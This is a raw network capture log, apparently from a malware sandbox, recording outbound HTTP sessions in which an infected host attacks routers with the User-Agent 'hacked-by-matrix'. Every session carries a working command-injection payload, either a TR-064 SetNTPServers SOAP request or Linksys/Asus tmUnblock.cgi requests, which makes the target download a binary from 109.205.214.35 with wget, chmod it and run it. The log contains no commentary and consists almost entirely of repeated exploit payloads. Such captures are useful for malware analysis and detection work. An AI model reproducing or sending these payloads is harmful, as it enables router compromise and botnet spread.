Mar 21, 2024 05:26:47.979528904 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
508	192.168.2.23	39458	172.65.104.254	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:58.759349108 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
509	192.168.2.23	36102	172.64.171.193	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:58.850346088 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:25:59.152141094 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:25:59.475219011 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
510	192.168.2.23	43934	77.25.132.174	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:58.927361965 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:03.185544014 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
511	192.168.2.23	45658	223.133.107.197	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.303662062 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:25:59.820980072 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
512	192.168.2.23	39026	115.2.119.193	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.306917906 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:25:59.596112967 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:25:58 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
513	192.168.2.23	39170	110.66.27.9	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.314146042 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:25:59.605351925 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
514	192.168.2.23	42208	115.7.229.68	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.314456940 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:25:59.627598047 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:25:59 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
515	192.168.2.23	35590	115.20.204.85	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.321665049 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
516	192.168.2.23	32822	46.138.241.167	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.551678896 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:25:59.771691084 CET	129	IN	HTTP/1.0 503 Service Unavailable Content-type: text/html Date: Thu, 21 Mar 2024 07:26:00 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
517	192.168.2.23	35634	115.20.204.85	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.588525057 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
518	192.168.2.23	39074	115.2.119.193	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.588624954 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:25:59.876108885 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:25:58 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
519	192.168.2.23	39076	115.2.119.193	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.588758945 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:25:59.874087095 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:25:58 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
520	192.168.2.23	42252	115.7.229.68	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.593369961 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:25:59.887001991 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:25:59 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
521	192.168.2.23	39210	110.66.27.9	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.601520061 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:25:59.896348000 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
522	192.168.2.23	42260	115.7.229.68	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.603209019 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:25:59.893810987 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:25:59 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
523	192.168.2.23	39218	110.66.27.9	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.604780912 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:25:59.896266937 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
524	192.168.2.23	35648	115.20.204.85	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.627994061 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
525	192.168.2.23	40162	172.65.30.84	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.628820896 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
526	192.168.2.23	50846	172.65.184.114	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.630155087 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
527	192.168.2.23	54294	172.65.160.132	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.718271017 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
528	192.168.2.23	60562	172.66.171.44	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.752376080 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
529	192.168.2.23	55598	172.67.202.117	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.752398968 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
530	192.168.2.23	38140	98.222.181.87	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.785403013 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
531	192.168.2.23	46728	172.65.122.192	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.843205929 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
532	192.168.2.23	39088	115.2.119.193	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.871881008 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:00.157392025 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:25:59 GMT Content-length: 0
Mar 21, 2024 05:26:00.934528112 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:25:59 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
533	192.168.2.23	42270	115.7.229.68	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:59.883244991 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
